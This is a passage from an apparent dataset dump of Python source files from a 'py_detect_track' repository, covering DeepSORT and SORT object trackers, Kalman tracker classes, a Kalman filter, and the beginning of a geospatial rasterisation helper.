)\r\n unmatched_detections_indices = list(range(len(detections)))\r\n\r\n cascade_matches_detection_tracker_indices = []\r\n\r\n for level in range(cascade_depth):\r\n if len(unmatched_detections_indices) == 0:\r\n break\r\n\r\n # Select tracks by age Tn ← {i ∈ T | ai = n}\r\n # Therefore, we introduce a matching cascade that gives priority to more frequently seen objects to\r\n # encode our notion of probability spread in the association likelihood\r\n\r\n # Note\r\n # that this matching cascade gives priority to tracks of smaller\r\n # age, i.e., tracks that have been seen more recently.\r\n tracker_indices_with_small_age = [\r\n k for k in tracker_indices if trackers[k].time_since_update == 1 + level\r\n ]\r\n\r\n if len(tracker_indices_with_small_age) == 0:\r\n continue\r\n\r\n if (\r\n len(unmatched_detections_indices) == 0\r\n or len(tracker_indices_with_small_age) == 0\r\n ):\r\n matches = list()\r\n unmatched_detections_indices = unmatched_detections_indices\r\n else:\r\n cascade_matching_cost = self._compute_gate_cost(\r\n detections,\r\n trackers,\r\n tracker_indices_with_small_age,\r\n unmatched_detections_indices,\r\n )\r\n matches, _, unmatched_detections_indices = self._min_cost_matching(\r\n cascade_matching_cost,\r\n detections,\r\n trackers,\r\n tracker_indices_with_small_age,\r\n unmatched_detections_indices,\r\n cascade_matching_threshold,\r\n )\r\n cascade_matches_detection_tracker_indices += matches\r\n\r\n unmatched_trackers_indices = list(\r\n set(tracker_indices)\r\n - set(k for k, _ in cascade_matches_detection_tracker_indices)\r\n )\r\n return (\r\n cascade_matches_detection_tracker_indices,\r\n unmatched_trackers_indices,\r\n unmatched_detections_indices,\r\n )\r\n\r\n @staticmethod\r\n def _min_cost_matching(\r\n cost_matrix: np.ndarray,\r\n detections: List[DeepSortDetection],\r\n trackers: List[DeepSortKalmanTracker],\r\n track_indices: List = None,\r\n detection_indices: List = None,\r\n threshold_distance: float = None,\r\n ) -> Tuple[List, List, List]:\r\n \"\"\"\r\n\r\n :param cost_matrix:\r\n :param detections:\r\n :param trackers:\r\n :param track_indices:\r\n :param detection_indices:\r\n :param threshold_distance:\r\n :return:\r\n \"\"\"\r\n\r\n track_indices = (\r\n np.arange(len(trackers)) if track_indices is None else track_indices\r\n )\r\n detection_indices = (\r\n np.arange(len(detections))\r\n if detection_indices is None\r\n else detection_indices\r\n )\r\n\r\n (\r\n matches_detection_tracker,\r\n unmatched_trackers_indices,\r\n unmatched_detections_indices,\r\n ) = (list(), list(), list())\r\n\r\n cost_matrix[cost_matrix > threshold_distance] = threshold_distance + 1e-5\r\n association_x, association_y = linear_sum_assignment(cost_matrix)\r\n association_matrix = np.array(list(zip(association_x, association_y)))\r\n\r\n for col, detection_idx in enumerate(detection_indices):\r\n if col not in association_matrix[:, 1]:\r\n unmatched_detections_indices.append(detection_idx)\r\n\r\n for row, track_idx in enumerate(track_indices):\r\n if row not in association_matrix[:, 0]:\r\n unmatched_trackers_indices.append(track_idx)\r\n\r\n for row, col in association_matrix:\r\n track_idx = track_indices[row]\r\n detection_idx = detection_indices[col]\r\n\r\n if cost_matrix[row, col] > threshold_distance:\r\n unmatched_trackers_indices.append(track_idx)\r\n unmatched_detections_indices.append(detection_idx)\r\n else:\r\n matches_detection_tracker.append((track_idx, detection_idx))\r\n\r\n return (\r\n matches_detection_tracker,\r\n unmatched_trackers_indices,\r\n unmatched_detections_indices,\r\n )\r\n\r\n def _compute_gate_cost(\r\n self,\r\n detections: List[DeepSortDetection],\r\n trackers: List[DeepSortKalmanTracker],\r\n track_indices: List,\r\n detection_indices: List,\r\n ) -> np.ndarray:\r\n\r\n cost_matrix = np.zeros((len(track_indices), len(detection_indices)))\r\n\r\n # In particular, unaccounted camera motion can introduce rapid displacements in the image plane,\r\n # making the Mahalanobis distance a rather uninformed metric for tracking through occlusions. Therefore, we\r\n # integrate a second metric into the assignment problem\r\n # we compute an appearance descriptor\r\n cost_matrix = self._appearance_cost(\r\n np.array([detections[i].appearance_feature for i in detection_indices]),\r\n np.array([trackers[i].track_id for i in track_indices]),\r\n cost_matrix,\r\n )\r\n\r\n # To incorporate motion information we use the (squared) Mahalanobis distance between\r\n # predicted Kalman states and newly arrived measurements\r\n cost_matrix = self._mahalanobis_cost(\r\n detections,\r\n trackers,\r\n track_indices,\r\n detection_indices,\r\n cost_matrix,\r\n )\r\n\r\n return cost_matrix\r\n\r\n @staticmethod\r\n def _mahalanobis_cost(\r\n detections: List[DeepSortDetection],\r\n trackers: List[DeepSortKalmanTracker],\r\n tracker_indices: List,\r\n detection_indices: List,\r\n cost_matrix: np.ndarray,\r\n ) -> np.ndarray:\r\n \"\"\"\r\n\r\n :param detections:\r\n :param trackers:\r\n :param tracker_indices:\r\n :param detection_indices:\r\n :param cost_matrix:\r\n :return:\r\n \"\"\"\r\n\r\n # For our four dimensional measurement space the corresponding Mahalanobis threshold is = 9.4877\r\n gating_threshold = chi2inv95[4]\r\n gated_cost = 1e5\r\n\r\n measurements = np.asarray(\r\n [\r\n from_x_y_width_height_to_x_y_aspect_height(\r\n detections[i].detection\r\n ).reshape(4, 1)\r\n for i in detection_indices\r\n ]\r\n )\r\n\r\n for row, track_idx in enumerate(tracker_indices):\r\n track = trackers[track_idx]\r\n\r\n # To incorporate motion information we use the (squared) Mahalanobis distance between\r\n # predicted Kalman states and newly arrived measurements\r\n gating_distance = track.gating_distance(measurements[:, :, 0].T)\r\n cost_matrix[row, gating_distance > gating_threshold] = gated_cost\r\n\r\n return cost_matrix\r\n\r\n def _appearance_cost(\r\n self,\r\n features: np.ndarray,\r\n trackers_indices: np.ndarray,\r\n cost_matrix: np.ndarray,\r\n ) -> np.ndarray:\r\n \"\"\"\r\n\r\n :param features:\r\n :param trackers_indices:\r\n :param cost_matrix:\r\n :return:\r\n \"\"\"\r\n\r\n for i, target in enumerate(trackers_indices):\r\n # Then, our second metric measures\r\n # the smallest cosine distance between the i-th track and j-th\r\n # detection in appearance space:\r\n cost_matrix[i, :] = _cosine_distance(\r\n self._appearance_features_targets_meta[target], features\r\n )\r\n return cost_matrix\r\n\r\n def _update_appearance_meta(self, features, tracks, active_tracks):\r\n \"\"\"\r\n\r\n :param features:\r\n :param tracks:\r\n :param active_tracks:\r\n :return:\r\n \"\"\"\r\n # Further, we keep a gallery Rk of the last Lk = 100 associated appearance descriptors for each track k.\r\n for feature, target in zip(features, tracks):\r\n self._appearance_features_targets_meta.setdefault(target, []).append(\r\n feature\r\n )\r\n self._appearance_features_targets_meta = {\r\n k: self._appearance_features_targets_meta[k] for k in active_tracks\r\n }\r\n\r\n @staticmethod\r\n def iou(bbox, candidates):\r\n bbox_tl, bbox_br = bbox[:2], bbox[:2] + bbox[2:]\r\n candidates_tl = candidates[:, :2]\r\n\r\n candidates_br = candidates[:, :2] + candidates[:, 2:]\r\n\r\n tl = np.c_[\r\n np.maximum(bbox_tl[0], candidates_tl[:, 0])[:, np.newaxis],\r\n np.maximum(bbox_tl[1], candidates_tl[:, 1])[:, np.newaxis],\r\n ]\r\n br = np.c_[\r\n np.minimum(bbox_br[0], candidates_br[:, 0])[:, np.newaxis],\r\n np.minimum(bbox_br[1], candidates_br[:, 1])[:, np.newaxis],\r\n ]\r\n\r\n area_intersection = np.maximum(0.0, br - tl).prod(axis=1)\r\n area_bbox = bbox[2:].prod()\r\n area_candidates = candidates[:, 2:].prod(axis=1)\r\n return area_intersection / (area_bbox + area_candidates - area_intersection)\r\n\r\n def _iou_cost(\r\n self,\r\n detections: List[DeepSortDetection],\r\n trackers: List[DeepSortKalmanTracker],\r\n tracker_indices: List,\r\n detection_indices: List,\r\n ) -> np.ndarray:\r\n \"\"\"\r\n\r\n :param detections:\r\n :param trackers:\r\n :param tracker_indices:\r\n :param detection_indices:\r\n :return:\r\n \"\"\"\r\n\r\n cost_matrix = np.zeros((len(tracker_indices), len(detection_indices)))\r\n for row, track_idx in enumerate(tracker_indices):\r\n if trackers[track_idx].time_since_update > 1:\r\n cost_matrix[row, :] = 1e5\r\n continue\r\n bbox = from_x_y_aspect_height_to_x_y_width_height(\r\n trackers[track_idx].extract_position_from_state()\r\n )\r\n candidates = np.asarray(\r\n [detections[i].detection for i in detection_indices]\r\n )\r\n cost_matrix[row, :] = 1.0 - self.iou(bbox, candidates)\r\n return cost_matrix\r\n\r\n def track_with_detections_and_appearance_features(\r\n self, detections: List, appearance_features: List\r\n ):\r\n \"\"\"\r\n\r\n :param detections: (x, y, w, h)\r\n :param appearance_features:\r\n :return:\r\n \"\"\"\r\n detections = [\r\n DeepSortDetection(\r\n np.asarray(detection, dtype=np.float),\r\n np.asarray(appearance_feature, dtype=np.float32),\r\n )\r\n for detection, appearance_feature in zip(detections, appearance_features)\r\n ]\r\n return self._track(detections)\r\n\r\n def track_with_detection_object(self, detections: List[DeepSortDetection]):\r\n \"\"\"\r\n\r\n :param detections:\r\n :return:\r\n \"\"\"\r\n return self._track(detections)\r\n", "id": "1474708", "language": "Python", "matching_score": 3.71566104888916, "max_stars_count": 2, "path": "py_detect_track/track/deepsort/deepsort.py" }, { "content": "from typing import List, Tuple\r\n\r\nimport numpy as np\r\nfrom scipy.optimize import linear_sum_assignment\r\n\r\nfrom py_detect_track.detect.utils import (\r\n from_scale_aspect_ratio_to_x_min_y_min_x_max_y_max,\r\n from_x_min_y_min_x_max_y_max_to_scale_aspect_ratio,\r\n)\r\nfrom py_detect_track.track.sort.sort_tracker import KalmanTracker\r\n\r\n\r\nclass Sort:\r\n def __init__(self, max_age: int = 1, iou_threshold: float = 0.40):\r\n self._max_age: int = max_age\r\n self._iou_threshold: float = iou_threshold\r\n\r\n self.trackers: List[KalmanTracker] = list()\r\n self._frame_count: int = 0\r\n\r\n def track(self, detections: list) -> List:\r\n \"\"\"\r\n\r\n :param detections: of format [x1, y1, x2, y2] or [x1, y1, x2, y2, score]\r\n :return:\r\n \"\"\"\r\n self._frame_count += 1\r\n\r\n detections = np.array(detections)[:, 0:4]\r\n\r\n predicted_tracks = np.zeros((len(self.trackers), 4))\r\n matched_detection_tracker_indices = np.empty((0, 2), dtype=int)\r\n unmatched_detections_ids = np.arange(len(detections))\r\n\r\n detections_with_active_tracks = list()\r\n\r\n to_del = list()\r\n for track_iterator, empty_state in enumerate(predicted_tracks):\r\n track = self.trackers[track_iterator]\r\n track.predict()\r\n state = from_scale_aspect_ratio_to_x_min_y_min_x_max_y_max(\r\n track.extract_position_from_state()\r\n ).reshape(1, 4)[0]\r\n empty_state[:] = [state[0], state[1], state[2], state[3]]\r\n if np.any(np.isnan(state)):\r\n to_del.append(track_iterator)\r\n\r\n predicted_tracks = np.ma.compress_rows(np.ma.masked_invalid(predicted_tracks))\r\n for t in reversed(to_del):\r\n self.trackers.pop(t)\r\n\r\n if len(predicted_tracks) > 0:\r\n (\r\n matched_detection_tracker_indices,\r\n unmatched_detections_ids,\r\n ) = self._associate_detections_to_trackers(detections, predicted_tracks)\r\n\r\n # Update the matched tracking\r\n for detection_index, tracker_index in matched_detection_tracker_indices:\r\n self.trackers[tracker_index].update(\r\n from_x_min_y_min_x_max_y_max_to_scale_aspect_ratio(\r\n detections[detection_index, :].reshape(4, 1)\r\n )\r\n )\r\n\r\n # Create and Initialize new tracker for unmatched detections with scale aspect format\r\n for unmatched_detection_id in unmatched_detections_ids:\r\n self.trackers.append(\r\n KalmanTracker(\r\n from_x_min_y_min_x_max_y_max_to_scale_aspect_ratio(\r\n detections[unmatched_detection_id, :].reshape(4, 1)\r\n )\r\n )\r\n )\r\n\r\n # Creation and Deletion of Track Identities\r\n for individual_track in reversed(self.trackers):\r\n # state = from_scale_aspect_ratio_to_x_min_y_min_x_max_y_max(\r\n # individual_track.extract_position_from_state()\r\n # ).reshape(1, 4)[0]\r\n\r\n # If the tracker is being updated every self.max_age frame\r\n if individual_track.time_since_update < self._max_age:\r\n # detections_with_active_tracks.append(\r\n # np.concatenate((state, [individual_track.id + 1])).reshape(1, -1)\r\n # )\r\n detections_with_active_tracks.append(individual_track)\r\n # Remove tracker if not updated for self.max_age frame\r\n elif individual_track.time_since_update > self._max_age:\r\n self.trackers.remove(individual_track)\r\n\r\n return detections_with_active_tracks\r\n\r\n def _associate_detections_to_trackers(\r\n self, detections: np.ndarray, trackers: np.ndarray\r\n ) -> Tuple[np.ndarray, np.ndarray]:\r\n\r\n \"\"\"\r\n\r\n :param detections: machine predicted output\r\n :param trackers: output estimated from kalman filter\r\n :return:\r\n \"\"\"\r\n matches = list()\r\n unmatched_detections = list()\r\n\r\n iou_matrix = self._iou_between_detection_and_tracker(detections, trackers)\r\n\r\n # Hungarian Algorithm\r\n (\r\n matched_detection_tracker_x,\r\n matched_detection_tracker_y,\r\n ) = linear_sum_assignment(-iou_matrix)\r\n matched_detection_tracker_indices = np.array(\r\n list(zip(matched_detection_tracker_x, matched_detection_tracker_y))\r\n )\r\n\r\n for detection_iterator, detections in enumerate(detections):\r\n if detection_iterator not in matched_detection_tracker_indices[:, 0]:\r\n unmatched_detections.append(detection_iterator)\r\n\r\n # For creating tracking, we consider any detection with an overlap less than min IOU to signify the existence\r\n # of an un tracked object. The tracker is initialised using the geometry of the bounding box with the velocity\r\n # set to zero\r\n for detection_index, tracker_index in matched_detection_tracker_indices:\r\n if iou_matrix[detection_index, tracker_index] < self._iou_threshold:\r\n unmatched_detections.append(detection_index)\r\n else:\r\n matches.append(np.array([detection_index, tracker_index]).reshape(1, 2))\r\n return (\r\n np.concatenate(matches, axis=0)\r\n if len(matches) > 0\r\n else np.empty((0, 2), dtype=int),\r\n np.array(unmatched_detections),\r\n )\r\n\r\n @staticmethod\r\n def _iou_between_detection_and_tracker(\r\n detections: np.ndarray, trackers: np.ndarray\r\n ) -> np.ndarray:\r\n \"\"\"\r\n\r\n :param detections:\r\n :param trackers:\r\n :return:\r\n \"\"\"\r\n trackers = np.expand_dims(trackers, 0)\r\n detections = np.expand_dims(detections, 1)\r\n\r\n xx1 = np.maximum(detections[..., 0], trackers[..., 0])\r\n yy1 = np.maximum(detections[..., 1], trackers[..., 1])\r\n xx2 = np.minimum(detections[..., 2], trackers[..., 2])\r\n yy2 = np.minimum(detections[..., 3], trackers[..., 3])\r\n w = np.maximum(0.0, xx2 - xx1)\r\n h = np.maximum(0.0, yy2 - yy1)\r\n wh = w * h\r\n o = wh / (\r\n (detections[..., 2] - detections[..., 0])\r\n * (detections[..., 3] - detections[..., 1])\r\n + (trackers[..., 2] - trackers[..., 0])\r\n * (trackers[..., 3] - trackers[..., 1])\r\n - wh\r\n )\r\n return o\r\n", "id": "5406830", "language": "Python", "matching_score": 1.6068170070648193, "max_stars_count": 2, "path": "py_detect_track/track/sort/sort.py" }, { "content": "import numpy as np\r\n\r\nfrom py_detect_track.detect.utils import (\r\n from_scale_aspect_ratio_to_x_min_y_min_x_max_y_max,\r\n)\r\nfrom py_detect_track.filters import KalmanFilter\r\nfrom py_detect_track.track.tracker import Tracker, TrackerId\r\n\r\n\r\nclass KalmanTracker(Tracker):\r\n def __init__(self, measurement):\r\n super().__init__()\r\n\r\n self._filter = KalmanFilter(dim_x=7, dim_z=4)\r\n\r\n # Filter state\r\n self._filter.x[:4] = measurement\r\n\r\n # The state of each target is modelled as: x = [u, v, s, r, u˙, v˙, s˙]\r\n self._filter.F = np.array(\r\n [\r\n [1, 0, 0, 0, 1, 0, 0],\r\n [0, 1, 0, 0, 0, 1, 0],\r\n [0, 0, 1, 0, 0, 0, 1],\r\n [0, 0, 0, 1, 0, 0, 0],\r\n [0, 0, 0, 0, 1, 0, 0],\r\n [0, 0, 0, 0, 0, 1, 0],\r\n [0, 0, 0, 0, 0, 0, 1],\r\n ]\r\n )\r\n\r\n self._filter.H = np.array(\r\n [\r\n [1, 0, 0, 0, 0, 0, 0],\r\n [0, 1, 0, 0, 0, 0, 0],\r\n [0, 0, 1, 0, 0, 0, 0],\r\n [0, 0, 0, 1, 0, 0, 0],\r\n ]\r\n )\r\n\r\n # observation error covariance\r\n self._filter.R[2:, 2:] *= 10.0\r\n\r\n # initial velocity error covariance\r\n # Since the velocity is unobserved at this point the covariance of the velocity component is initialised\r\n # with large values, reflecting this uncertainty\r\n self._filter.P[4:, 4:] *= 1000.0\r\n\r\n # initial location error covariance\r\n self._filter.P *= 10.0\r\n\r\n # process noise\r\n self._filter.Q[-1, -1] *= 0.01\r\n self._filter.Q[4:, 4:] *= 0.01\r\n\r\n self.id = TrackerId.tracker_id()\r\n self.time_since_update = 0\r\n\r\n def extract_position_from_state(self):\r\n \"\"\"\r\n Extract position from the state\r\n :return:\r\n \"\"\"\r\n return self.state()[0:4, :]\r\n\r\n def state(self):\r\n \"\"\"\r\n\r\n :return: state\r\n \"\"\"\r\n return self._filter.x\r\n\r\n def bbox(self, *args, **kwargs):\r\n return from_scale_aspect_ratio_to_x_min_y_min_x_max_y_max(\r\n self.extract_position_from_state()\r\n ).reshape(4, 1)\r\n\r\n def update(self, measurement: np.ndarray):\r\n \"\"\"\r\n\r\n :param measurement:\r\n :return:\r\n \"\"\"\r\n self.time_since_update = 0\r\n self._filter.correction(measurement)\r\n\r\n def predict(self):\r\n \"\"\"\r\n\r\n :return:\r\n \"\"\"\r\n\r\n # Don't quite know the reason for this particular condition\r\n if (self._filter.x[6] + self._filter.x[2]) <= 0:\r\n self._filter.x[6] *= 0.0\r\n\r\n self._filter.predict()\r\n self.time_since_update += 1\r\n", "id": "11662983", "language": "Python", "matching_score": 2.613938808441162, "max_stars_count": 2, "path": "py_detect_track/track/sort/sort_tracker.py" }, { "content": "import numpy as np\r\nimport scipy\r\n\r\nfrom py_detect_track.detect.utils import (\r\n from_x_y_aspect_height_to_x_y_width_height,\r\n from_x_y_width_height_to_x_min_y_min_x_max_y_max,\r\n)\r\nfrom py_detect_track.filters import KalmanFilter\r\nfrom py_detect_track.track.tracker import Tracker, TrackerId\r\n\r\n\r\nclass DeepSortTrackerState:\r\n \"\"\"\r\n Newly created tracks are\r\n classified as `tentative` until enough evidence has been collected. Then,\r\n the track state is changed to `confirmed`. Tracks that are no longer alive\r\n are classified as `deleted` to mark them for removal from the set of active\r\n tracks.\r\n\r\n \"\"\"\r\n\r\n def __init__(\r\n self, tentative: bool = False, confirmed: bool = False, deleted: bool = False\r\n ):\r\n self._tentative = tentative\r\n self._confirmed = confirmed\r\n self._deleted = deleted\r\n\r\n @property\r\n def tentative(self):\r\n return self._tentative\r\n\r\n @tentative.setter\r\n def tentative(self, value):\r\n self._tentative = value\r\n\r\n @property\r\n def confirmed(self):\r\n return self._confirmed\r\n\r\n @confirmed.setter\r\n def confirmed(self, value):\r\n self._confirmed = value\r\n\r\n @property\r\n def deleted(self):\r\n return self._deleted\r\n\r\n @deleted.setter\r\n def deleted(self, value):\r\n self._deleted = value\r\n\r\n @classmethod\r\n def tentative_tracker_state(cls):\r\n return DeepSortTrackerState(tentative=True)\r\n\r\n @classmethod\r\n def confirmed_tracker_state(cls):\r\n return DeepSortTrackerState(confirmed=True)\r\n\r\n @classmethod\r\n def deleted_tracker_state(cls):\r\n return DeepSortTrackerState(deleted=True)\r\n\r\n\r\nclass DeepSortKalmanTracker(Tracker):\r\n def __init__(self, measurement, appearance_feature, max_age: int = 30):\r\n super().__init__()\r\n\r\n self._hits = 1\r\n\r\n # These new tracks are classified as tentative during their first three frames, _n_init = number of frames\r\n # until which tracks will be considered tentative\r\n self._n_init = 3\r\n\r\n # Tracks that exceed a predefined maximum age Amax are considered to have left the scene and are\r\n # deleted from the track set\r\n self._max_age = max_age\r\n\r\n self.appearance_features = list()\r\n if appearance_feature is not None:\r\n self.appearance_features.append(appearance_feature)\r\n\r\n # Motion and observation uncertainty are chosen relative to the current\r\n # state estimate. These weights control the amount of uncertainty in\r\n # the model. This is a bit hacky.\r\n self._std_weight_position = 1.0 / 20\r\n self._std_weight_velocity = 1.0 / 160\r\n\r\n self._filter = KalmanFilter(dim_x=8, dim_z=4)\r\n\r\n # Filter state\r\n self._filter.x[:4] = measurement\r\n\r\n # The state of each target is modelled as: x = (u, v, γ, h, x˙, y˙, γ ˙, h˙)\r\n self._filter.F = np.array(\r\n [\r\n [1, 0, 0, 0, 1, 0, 0, 0],\r\n [0, 1, 0, 0, 0, 1, 0, 0],\r\n [0, 0, 1, 0, 0, 0, 1, 0],\r\n [0, 0, 0, 1, 0, 0, 0, 1],\r\n [0, 0, 0, 0, 1, 0, 0, 0],\r\n [0, 0, 0, 0, 0, 1, 0, 0],\r\n [0, 0, 0, 0, 0, 0, 1, 0],\r\n [0, 0, 0, 0, 0, 0, 0, 1],\r\n ]\r\n )\r\n\r\n self._filter.H = np.array(\r\n [\r\n [1, 0, 0, 0, 0, 0, 0, 0],\r\n [0, 1, 0, 0, 0, 0, 0, 0],\r\n [0, 0, 1, 0, 0, 0, 0, 0],\r\n [0, 0, 0, 1, 0, 0, 0, 0],\r\n ]\r\n )\r\n\r\n std = [\r\n 2 * self._std_weight_position * float(measurement[3]),\r\n 2 * self._std_weight_position * float(measurement[3]),\r\n 1e-2,\r\n 2 * self._std_weight_position * float(measurement[3]),\r\n 10 * self._std_weight_velocity * float(measurement[3]),\r\n 10 * self._std_weight_velocity * float(measurement[3]),\r\n 1e-5,\r\n 10 * self._std_weight_velocity * float(measurement[3]),\r\n ]\r\n\r\n # initial position, velocity error covariance\r\n self._filter.P = np.diag(np.square(std))\r\n\r\n self.track_id = TrackerId.tracker_id()\r\n self.time_since_update = 0\r\n\r\n # New track hypotheses are initiated for each detection that cannot be associated to an existing track\r\n # These new tracks are classified as tentative during their first three frames\r\n self._tracker_state = None\r\n self.mark_state_tentative()\r\n\r\n def extract_position_from_state(self):\r\n \"\"\"\r\n Extract position from the state\r\n :return:\r\n \"\"\"\r\n return self.state()[0:4, :]\r\n\r\n def state(self):\r\n \"\"\"\r\n\r\n :return: state\r\n \"\"\"\r\n return self._filter.x\r\n\r\n def bbox(self, *args, **kwargs):\r\n \"\"\"\r\n\r\n :param args:\r\n :param kwargs:\r\n :return:\r\n \"\"\"\r\n return from_x_y_width_height_to_x_min_y_min_x_max_y_max(\r\n from_x_y_aspect_height_to_x_y_width_height(\r\n self.extract_position_from_state()\r\n )\r\n ).reshape(4, 1)\r\n\r\n def update(self, measurement: np.ndarray):\r\n \"\"\"\r\n\r\n :param measurement:\r\n :return:\r\n \"\"\"\r\n self.time_since_update = 0\r\n\r\n std = [\r\n self._std_weight_position * float(self._filter.x[3]),\r\n self._std_weight_position * float(self._filter.x[3]),\r\n 1e-1,\r\n self._std_weight_position * float(self._filter.x[3]),\r\n ]\r\n\r\n # observation error covariance\r\n self._filter.R = np.diag(np.square(std))\r\n\r\n self._filter.correction(measurement)\r\n\r\n self._hits += 1\r\n\r\n # New track hypotheses are initiated for each detection that cannot be associated to an existing track\r\n # These new tracks are classified as tentative during their first three frames\r\n if self.is_tentative() and self._hits >= self._n_init:\r\n self.mark_state_confirmed()\r\n\r\n def predict(self):\r\n \"\"\"\r\n\r\n :return:\r\n \"\"\"\r\n\r\n std_pos = [\r\n self._std_weight_position * float(self._filter.x[3]),\r\n self._std_weight_position * float(self._filter.x[3]),\r\n 1e-2,\r\n self._std_weight_position * float(self._filter.x[3]),\r\n ]\r\n std_vel = [\r\n self._std_weight_velocity * float(self._filter.x[3]),\r\n self._std_weight_velocity * float(self._filter.x[3]),\r\n 1e-5,\r\n self._std_weight_velocity * float(self._filter.x[3]),\r\n ]\r\n\r\n # process noise\r\n self._filter.Q = np.diag(np.square(np.r_[std_pos, std_vel]))\r\n\r\n self._filter.predict()\r\n self.time_since_update += 1\r\n\r\n def gating_distance(self, measurements):\r\n \"\"\"\r\n https://stackoverflow.com/questions/31807843/vectorizing-code-to-calculate-squared-mahalanobis-distiance\r\n https://stats.stackexchange.com/questions/147210/efficient-fast-mahalanobis-distance-computation\r\n\r\n To incorporate motion information we use the (squared) Mahalanobis distance between predicted Kalman states and\r\n newly arrived measurements:\r\n\r\n :param measurements:\r\n :return:\r\n \"\"\"\r\n std = [\r\n self._std_weight_position * float(self._filter.x[3]),\r\n self._std_weight_position * float(self._filter.x[3]),\r\n 1e-1,\r\n self._std_weight_position * float(self._filter.x[3]),\r\n ]\r\n\r\n # we denote the projection of the i-th track distribution into measurement space by (yi,Si)\r\n # Just consider position\r\n mean = measurements - np.dot(self._filter.H, self._filter.x)\r\n covariance = np.dot(\r\n self._filter.H, np.dot(self._filter.P, self._filter.H.T)\r\n ) + np.diag(np.square(std))\r\n\r\n distance = scipy.linalg.solve_triangular(\r\n np.linalg.cholesky(covariance),\r\n mean,\r\n lower=True,\r\n check_finite=False,\r\n overwrite_b=True,\r\n )\r\n\r\n return np.sum(distance * distance, axis=0)\r\n\r\n def mark_state_tentative(self):\r\n self._tracker_state = DeepSortTrackerState.tentative_tracker_state()\r\n\r\n def mark_state_confirmed(self):\r\n self._tracker_state = DeepSortTrackerState.confirmed_tracker_state()\r\n\r\n def mark_state_deleted(self):\r\n self._tracker_state = DeepSortTrackerState.deleted_tracker_state()\r\n\r\n def mark_missed(self):\r\n # Tracks that are not successfully associated to a measurement within their first three frames are deleted\r\n if self.is_tentative():\r\n self.mark_state_deleted()\r\n # Tracks that exceed a predefined maximum age Amax are considered to have left the scene and\r\n # are deleted from the track set\r\n elif self.time_since_update > self._max_age:\r\n self.mark_state_deleted()\r\n\r\n def is_tentative(self):\r\n return self._tracker_state.tentative\r\n\r\n def is_confirmed(self):\r\n return self._tracker_state.confirmed\r\n\r\n def is_deleted(self):\r\n return self._tracker_state.deleted\r\n", "id": "1173084", "language": "Python", "matching_score": 3.3754312992095947, "max_stars_count": 2, "path": "py_detect_track/track/deepsort/deepsort_tracker.py" }, { "content": "import numpy as np\r\n\r\n\r\nclass KalmanFilter:\r\n\r\n \"\"\"\r\n Implementation here does not consider estimate affected by external influence, i.e [control matrix,\r\n control vector]\r\n\r\n # https://www.bzarg.com/p/how-a-kalman-filter-works-in-pictures/#mjx-eqn-kalpredictfull\r\n # https://arxiv.org/ftp/arxiv/papers/1204/1204.0375.pdf\r\n\r\n \"\"\"\r\n\r\n def __init__(self, dim_x: int, dim_z: int):\r\n self.dim_x = dim_x\r\n self.dim_z = dim_z\r\n\r\n # State Model\r\n self.x = np.zeros((self.dim_x, 1))\r\n\r\n # Covariance Matrix of state model\r\n self.P = np.eye(self.dim_x)\r\n\r\n # Additional Uncertainty from the environment / Motion Noise\r\n # process uncertainty\r\n self.Q = np.eye(self.dim_x)\r\n\r\n # Prediction Step / state transition matrix\r\n # Describes How the state evolves from t-1 to t without controls or noise\r\n self.F = np.eye(self.dim_x)\r\n\r\n # Map state to an observation\r\n # Model sensor with matrix\r\n # Describes how to map state 'x_t' to an observation 'z_t'\r\n self.H = np.zeros((self.dim_z, self.dim_x))\r\n\r\n # Measurement Noise\r\n # State Uncertainty\r\n self.R = np.eye(self.dim_z)\r\n\r\n # kalman gain - How certain am i about the observation?\r\n self.K = np.zeros((self.dim_x, self.dim_z))\r\n self.y = np.zeros((self.dim_z, 1))\r\n\r\n # system uncertainty\r\n self.S = np.zeros((self.dim_z, self.dim_z))\r\n\r\n self._I = np.eye(self.dim_x)\r\n\r\n def predict(self):\r\n\r\n \"\"\"\r\n X_next(new_state) = F . X_previous\r\n P_next(new_uncertainty) = F.P_previous.F' + Q\r\n\r\n F = prediction step\r\n Q = additional uncertainty from environment\r\n\r\n :return:\r\n \"\"\"\r\n\r\n self.x = np.dot(self.F, self.x)\r\n\r\n # motion always adds uncertainty, its makes the system uncertain\r\n self.P = np.dot(self.F, np.dot(self.P, self.F.T)) + self.Q\r\n\r\n def correction(self, z: np.ndarray):\r\n\r\n \"\"\"\r\n 1. Calculate error between measurement and prediction\r\n y = z - (H.X_next)\r\n\r\n 2. Calculate system uncertainty\r\n s = H.P_next.H' + R\r\n\r\n 3. Calculate kalman gain\r\n k = P_next.H'.S_inv\r\n\r\n 4. Calculate new estimate\r\n new_mean_estimate = X_next + k.y\r\n new_covariance_estimate = I-(k.H).P_next\r\n\r\n :param z: new measurement\r\n :return:\r\n\r\n \"\"\"\r\n\r\n # Residual between measurement and prediction on the time step k\r\n self.y = z - np.dot(self.H, self.x)\r\n\r\n pht = np.dot(self.P, self.H.T)\r\n\r\n # measurement and prediction covariance on the time step k\r\n self.S = np.dot(self.H, pht) + self.R\r\n\r\n # Kalman gain\r\n self.K = np.dot(pht, np.linalg.inv(self.S))\r\n\r\n # new estimated mean\r\n self.x = self.x + np.dot(self.K, self.y)\r\n # new estimated uncertainty\r\n self.P = np.dot(self._I - np.dot(self.K, self.H), self.P)\r\n", "id": "3432077", "language": "Python", "matching_score": 0.07690609246492386, "max_stars_count": 2, "path": "py_detect_track/filters.py" }, { "content": "from dataclasses import dataclass\nfrom typing import Dict, Union\n\nimport affine\nimport gdal\nimport osr\nimport rasterio\nimport numpy as np\n\nfrom rasterio.features import shapes\nfrom rasterio.io import BufferedDatasetWriter, DatasetWriter\nfrom shapely.geometry import shape\nfrom stitch_n_split.geo_info import get_affine_transform, get_pixel_resolution\nfrom stitch_n_split.split.mesh import ImageNonOverLapMesh, ImageOverLapMesh\n\n\n@dataclass\nclass Bitmap:\n array: np.ndarray\n transform: affine.Affine\n\n\ndef create_bitmap(\n mesh: Union[ImageNonOverLapMesh, ImageOverLapMesh], geometry_collection: list\n):\n \"\"\"\n\n :param mesh:\n :param geometry_collection:\n :return:\n \"\"\"\n intermediate_bitmap = np.empty((0,))\n intermediate_bitmap = np.concatenate(\n (intermediate_bitmap, geometry_collection), axis=0\n )\n\n for grid in mesh.extent():\n transform = get_affine_transform(\n grid[\"extent\"][0],\n grid[\"extent\"][-1],\n *get_pixel_resolution(mesh.mesh_transform),\n )\n bitmap_array = rasterio.features.rasterize(\n ((g, 255) for g in intermediate_bitmap),\n out_shape=mesh.grid_size,\n transform=transform,\n )\n yield Bitmap(bitmap_array, transform)\n\n\ndef 